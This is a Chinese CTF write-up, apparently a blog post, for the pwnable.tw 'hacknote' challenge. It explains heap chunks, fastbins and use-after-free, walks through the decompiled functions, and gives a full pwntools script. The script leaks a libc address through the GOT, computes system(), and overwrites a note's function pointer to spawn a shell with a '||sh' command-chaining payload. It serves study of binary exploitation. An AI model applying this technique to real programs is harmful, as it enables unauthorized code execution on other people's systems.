pwnabletw-hacknote
借着这道比较基础的uaf(use after free)的题目回顾一下堆溢出
先简单说说一下堆
堆基础
可以通过gdb的vmmap查看内存空间
其中[heap]就是堆空间,堆跟栈不同,堆是沿着地址高位增长的
堆分配的基本策略就是malloc(size)时系统分配堆大小的必定是比size大或等于的8\16的倍数(32位系统为8的倍数,在64位系统则是16的倍数),并且会有一个8字节的堆头(header),里面记录的堆的信息。(之后会在堆专门的学习笔记里详细展开)
(目前在我的学习中,只有malloc及其相似的一类函数会分配堆。)
所以在32位系统中,最低能分配的就是16字节的堆块(malloc(0)会返回NULL值,或者实际地址,具体取决于系统)
uaf基础
当free堆块时,若是没有将堆块指针置NULL的话,那么就可以通过这个指针重新访问堆块,这时候堆块的内容可能为空,也可能是某个地址,最终导致漏洞出现。利用漏洞的方式就在于操作系统的堆管理方式,当一个堆块free后,并不是还给操作系统,而是放入表(bin)中,linux的堆管理存在着127个bin,不同bin的区别主要在于每个bin链表中存放的堆块(chunk)大小不同,像这道hacknote我们就只需要存放16-80字节的fastbin,当我们再次申请堆块空间时,系统就首先会从这些bin中找到最合适大小的堆块空间给我们。这种机制配合uaf再配合对堆内容的写入就能实现任意地址跳转了。
hacknote函数解析
这次专注于基础的堆溢出,有用的信息就是该程序是16位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| v2 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { sub_8048956(); read(0, &buf, 4u); v0 = atoi(&buf); if ( v0 != 2 ) break; sub_80487D4(); } if ( v0 > 2 ) { if ( v0 == 3 ) { sub_80488A5(); } else { if ( v0 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( v0 != 1 ) goto LABEL_13; sub_8048646(); } }
|
main函数挺简单的,重点就三个函数,delete、print、add,其中uaf漏洞就存在于delete中,接下来我们看delete函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts("Out of bound!"); _exit(0); } if ( ptr[v1] ) { free(*((void **)ptr[v1] + 1)); free(ptr[v1]); puts("Success"); } return __readgsdword(0x14u) ^ v3;
|
知道漏洞是uaf后就要开始考虑怎么利用了,先看看add函数是怎么申请空间的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| v5 = __readgsdword(0x14u); if ( dword_804A04C <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !ptr[i] ) { ptr[i] = malloc(8u); if ( !ptr[i] ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)ptr[i] = sub_804862B; printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf); v0 = ptr[i]; v0[1] = malloc(size); if ( !*((_DWORD *)ptr[i] + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)ptr[i] + 1), size); puts("Success !"); ++dword_804A04C; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5;
|
这么分析可能还不够直白,上手操作一下
这是我们要申请的堆块
可以看到在堆块的起始位置0x0804b000偏移0xc的位置有个0x151的偏移,那就是存储着内容的堆的起始地点(为什么和实际index:0的堆块差了15个字节以后再讲),可以看到0x804b160就存储着我们刚申请的堆块,其中0x0804862b就是指向put函数的地址,0x0804b170就是字符串“aaaaaaaaaaaaaaa”的位置,之后会作为put函数的参数。
让我们来看一下print函数
1 2 3 4 5 6 7 8 9 10 11 12
| v3 = __readgsdword(0x14u); printf("Index :"); read(0, &buf, 4u); v1 = atoi(&buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts("Out of bound!"); _exit(0); } if ( ptr[v1] ) (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); return __readgsdword(0x14u) ^ v3;
|
再看看puts函数
1
| return puts(*(const char **)(a1 + 4));
|
可以看到put会输出a1+4,也就是ptr[v1]+4,那个位置存储着字符串的地址
hacknote题解
分析完函数,弄懂整个程序后开始构造脚本了,首先我们要想办法泄露地址,因此要在第一次申请的堆栈内写入我们需要的地址,比如read(),然后用得到的read()函数实际地址减去libc中read的偏移量,得到程序加载libc的基址,再用这个基址加上system的偏移量,得到system函数在程序实际执行时的地址,最后再写入一次system的地址和字符串“sh”,执行后得到shell
想要往第一次申请的堆块中写入内容,就要利用到fastbin的特性,free后的堆块会放到fastbin链表的表尾,在之后申请同样大小的堆块时会先分配表尾的空间。所以我们先add两次,输入的context size等于16(这里只要大于8就行,也就是不要让两个context和ptr[0]free后在一个链表就行),然后都free掉(delete index0和index1),这时index0[0]在fastbin的16字节链表的表头,index1[0]在表尾,至于两个context则在fastbin的32字节链表。
当我们再add一个context size为8的index2时,index2[0]的16字节空间会利用fastbin16字节链表表尾的index1[0],而context申请的16字节空间就在index0[0]的位置,这时候我们输入的context就会把index0的头部修改了。
可以看到我们add两次后的堆空间内容,这里我申请的context size为16,所以它给我对齐成了32字节(这里有点困惑,按理来说32位系统应该分配给我24字节的空间,delete后之后我尝试申请24字节的空间,给我的也是原本那片空间,可见的确是分配了32字节)
当我分别delete index0和index1然后申请了size=8的index2后
堆空间变了,原本index0[0]的空间内容变成了我输入的字符串“cccccccc”
然后就可以写我们的脚本了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
p=process("./hacknote")
libc=ELF('/lib/i386-linux-gnu/libc.so.6',checksec=False) //ldd hacknote得到在本机使用的库 elf=ELF('./hacknote',checksec=False)
read_libc=libc.symbols['read'] read_got=elf.got['read'] read_symbol=elf.symbols["read"] system_libc=libc.symbols['system']
p.sendlineafter("Your choice :","1") p.sendlineafter("Note size :","16") p.sendlineafter("Content :","a"*15) p.sendlineafter("Your choice :","1") p.sendlineafter("Note size :","16") p.sendlineafter("Content :","a"*15) p.sendlineafter("Your choice :","2") p.sendlineafter("Index :","0") p.sendlineafter("Your choice :","2") p.sendlineafter("Index :","1") p.sendlineafter("Your choice :","1") p.sendlineafter("Note size :","8") p.sendlineafter("Content :",p32(0x0804862b)+p32(read_got)) p.sendlineafter("Your choice :","3") p.sendlineafter("Index :","0") a=p.recv() read_addr=u32(a[:4]) print("a--------------") print(a) print("base_addr---------------") print(hex(read_addr))
base_addr=read_addr-read_libc system_addr=system_libc+base_addr p.sendline("2") p.sendlineafter("Index :","2") p.sendlineafter("Your choice :","1") p.sendlineafter("Note size :","8") p.sendlineafter("Content :",p32(system_addr)+"||sh")
p.interactive()
|
这里比较特别的就是system的参数要用到截断字符,因为之前print函数里是((void (__cdecl *)(void *))ptr[v1])(ptr[v1]);这样调用堆块头指向的函数的,所以我们的system的参数实际上是p32(system_addr)+”sh”,也就是system(p32(system_addr)+”sh”),这样显然不能实现system(”sh”),所以就要用到截断字符”||”或者”;”了,
system(“hsasoijiojo||sh”)就等于system(“sh”)
另外system(“sh”)=system(“/bin/sh”),两者效果是一样的。
参考链接:https://www.jianshu.com/p/12c7d96e0bd3
https://www.anquanke.com/post/id/150359#h2-24
评论加载中